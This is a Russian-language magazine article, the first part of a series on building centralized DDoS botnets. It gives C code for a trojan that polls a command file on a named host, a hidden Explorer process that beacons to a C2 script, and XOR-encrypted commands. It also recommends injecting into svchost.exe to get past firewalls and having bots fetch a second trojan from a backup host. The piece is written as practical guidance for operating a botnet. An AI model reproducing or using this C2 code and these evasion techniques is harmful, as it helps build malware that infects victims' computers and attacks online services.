Первая часть

Централизованные сети

По такому принципу работают практически все DDoS-боты. После запуска трояна на
компьютере он сам коннектится к ботнет-серверу. Все прелести налицо. Но также
много неприятных моментов. При исследовании бота очень просто просечь головной
сервер. Полетят абузы, грохнут сервер (или, быть может, сам рухнет?) — ботнет не
вернуть. Существует, как минимум, два метода управления такой DDoS-армией:
первая — это, безусловно, IRC — одна из самых старых технологий управления
ботами, постепенно теряющая свою актуальность. И вторая — это управление через
HTTP: молодая и ежедневно процветающая технология: простота, удобство — все тут.

Разберем каждый пункт конкретнее. К сожалению, Microsoft не позаботилась о
IRC, поэтому не ищи функций WinAPI под нее. Ее
придется писать самому. Кроме того, придется поднимать свой IRC-сервер, ты же не
будешь держать стадо ботов на канале #l33t-botnet в
сети DalNet? 🙂 Настроить свой IRC не так сложно, если не вдаваться в
дополнительные параметры его настройки. Советую почитать статью
"IRC-плацдарм для ботов" из нашего "Хакер
#78
". Прежде, чем ты примешься за написание IRC-бота, тебе надо разобраться
с IRC-протоколом. Советую почитать RFC 1459, поверь, написать это все очень
просто. Если какие проблемы — то посмотри исходники разных ботов и заюзай google,
а потом пиши мне 😉

А теперь перейдем к управлению через HTTP. Тебе не придется разбираться с
протоколом, так как у нас уже есть наборы функций для работы с ним. Мне известны
по крайней мере два: Internet API и UrlMon API. Кроме того, помимо работы с HTTP,
они поддерживают работу с FTP-протоколом. Какие есть методы получения команд
ботами? Соглашусь, не так уж и много, но нам этого хватит сполна. Первый способ
заключается в том, что боты будут читать команды из .txt-файла. Причем команды
можно шифровать каким-нибудь алгоритмом, а ключ шифрования скормить трояну (с
соответствующей функцией дешифровки). То есть все трояны будут бесконечно
скачивать файл из сети и пропарсив его содержимое выполнять соответствующие
команды. Кажется геморно, но на самом деле все круто :). Команды можно добавлять
через PHP-скрипт и держать их там определенное время. Все это с таким же успехом
реализуется на C++, работая с сокетами.

Сначало шлем GET-запрос на файл с командами, затем создаем сокет и коннетимся.

#define HELL "hellknights.void.ru"

char *sendb = "GET /botnet/cmds.txt HTTP/1.0\r\nHost: "HELL"" \r\n\r\n", //
формируем GET-запрос
recvb[2048];

SOCKET socket = socket(AF_INET,SOCK_STREAM,0); //
создаем сокет

memset(recvb,0,2048);

// заполняем структуру
SOCKADDR_IN host;
host.sin_addr.S_un.S_addr = resolve(HOST); //

резолвим

host.sin_family = AF_INET; //
уже писал 😉
host.sin_port = htons(80); //
80 порт

if(connect(socket, (struct sockaddr *)&host,sizeof(SOCKADDR_IN))) //
коннетимся
return -1;

send(socket, sendb, strlen(sendb),0); // шлем пакет

Получаем пакет:

Sleep(5000); // здесь желательно поставить sleep,
чтобы дождаться ответ от сервера

int i;
while(i = recv(socket,recvb+strlen(recvb),1,0))
{if (i == SOCKET_ERROR) return -1;}

А вот и функция резолва:

DWORD resolve(char *host)
{
DWORD ret = 0;
struct hostent * hp = gethostbyname(host);
if (!hp) ret = inet_addr(host);
if ((!hp)&&(ret == INADDR_NONE)) return 0;
if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
return ret;
}

После нам придется пропарсить .txt на наличие команд. Я думаю, ты справишься с
этим, ничего сложного нет.

Есть еще один вариант: не юзать GET, а воспользоваться функцией WinAPI —
InternetOpenUrl() для получения команд ботами. Но есть одно но! А ты не подумал,
что боты сами могут тебя задосить!? 😉 Вот-вот! Придется брать себе
абузоустойчивый дедик, с широким каналом, который стоит не так мало (50$-200$ в
месяц и более).

Есть другой метод: пишется скрипт, который бы отображал ботов в своей
таблице. То есть боты сначала бы коннетились к скрипту и добавляли себя в
список: IP-адрес, UID, версия ОС, имя компьютера, страна, скорость соединения и
количество времени в онлайне. Затем, после того, как бот коннетится к скрипту и
прочее, мы бы выполняли команду и запускали цикл по раздаче команды всем ботам
по той самой таблице. Более медленный, но за то более экономный и беспалевный
метод. Все написание также основывается на всем том, что мы с тобой
рассматривали выше. Передать данные скрипту можно также при помощи Internet
Explorer, а также функциями WinExec() и CreateProcess() (кстати, что касается
WinExec — это устаревший вариант, использующийся еще аж в Win16-системах, в
Win32 же корректнее будет использовать CreateProcess(), но WinExec по прежнему
работает отлично). Заполним все структуры, которые нам нужны, как это мы делали
с тобой чуток ранее. И вызываем CreateProcess():

CreateProcess("EXPLORER.EXE","http://hellknights.void.ru/botnet/?
msg=w00t!0wn3d",0,0,false,CREATE_NEW_CONSOLE,0,0,&si,&pi);

&si — это указатель на StartUpInfo, а &pi — указатель на ProcessInformation.
Этот метод также примечателен тем, что у нас возникает минимум проблем с
файрволом, что не может не радовать :). Этого, конечно, не достаточно для
полного его обхода, можно намутить хитрый Process Injection в доверенный
процесс. Вообще есть куча методов для обхода файров, особенно в ring0. В
качестве доверенного приложения можно выбрать браузеры или svchost.exe, который
записан во всех файрволах как доверенное приложение и которому разрешено лезть
на 80 порт. Также не забудь в структуре STARTUPINFO указать невидимость окна:

si.wShowWindow = SW_HIDE;

Здесь у нас существует такая проблема, как путь до папки C://Program Files/Internet
Explorer/. Решить эту проблему нам поможет константа %Programfiles%. Но это тоже
не самый лучший вариант, так что покопайся с функциями
SHGetSpecialFolderLocation() и SHGetPathFromIDList(), через которые мы и узнаем
все системные директории Windows, думаю ты без проблем разберешься ;). Что же
касается XOR-шифрования, то и в PHP и C++ есть специальная функция. Работает это
примерно так:

ксоренный_текст=наш_текс^ключ_шифрования;

Короче говоря, символ "^" и является тем страшным ксором. Дешифровка
производится точно также.

Плюсы [+], Минусы [-], Спорно/Нейтрал [~]:

  • [+] Удобное управление через скрипт. Боты сами коннектятся куда надо.

    Можно реализовать достаточно многофункционального DDoS-бота. Все функции для
    работы с HTTP давным-давно реализованы в WinAPI библиотеках.
  • [~] Боты довольно быстро попадают в антивирусные базы. Хотя при
    правильном распространении и техниках стелсирования продержаться они могут
    очень долго 😉
  • [~] Управление через IRC.
    Управление через IRC — не самый сладкий "мед". Хотя многие так привыкли, что
    на web их перетащить уже просто невозможно :). Кроме того, для написания
    системы управления через IRC надо разобраться с IRC-протоколом.
  • [~] Не так уж просто написать матерого бота.
    Проблемы с файрволом, антивирусом, автозагрузкой + куча времени на написание
    разных примочек… Еcли ботами спалят, то мигом закроют, а боты умрут… Но
    несмотря на это, бот может быть намного функциональнее чем ботнет на шеллах.
  • [-] Достаточно просто отследить куда коннектится бот.
    Однажды мне попал в руки какой-то бот и адрес ботнет сервера я просек в
    логах файрвола. Итог: увел скудный ботнет.
  • [-] Тяжелый перенос ботнет сервера.
    Придется заставлять ботов скачивать и запускать еще одного троя, а себя
    грохнуть. Кроме того, если сервер c ботами спалят, то мигом закроют, а боты
    умрут… Но я тут поразмышлял и пришел к такому алгоритму:

    — чекаем cmd.txt на наличие команд
    — если таковой файл есть, то парсим его и выполняем команды
    — если сервак не пашет, то пытаемся приконнектиться еще раз и еще раз через
    30 минут и т.д
    — если совсем все фигово, то начинаем скачивать второй файл с какого-нибудь
    b0tn3t.narod.ru

(Продолжение следует)

Оставить мнение

Check Also

Хакер ищет авторов. Читатель? Хакер? Программист? Безопасник? Мы тебе рады!

Восемнадцать лет мы делаем лучшее во всем русскоязычном пространстве издание по IT и инфор…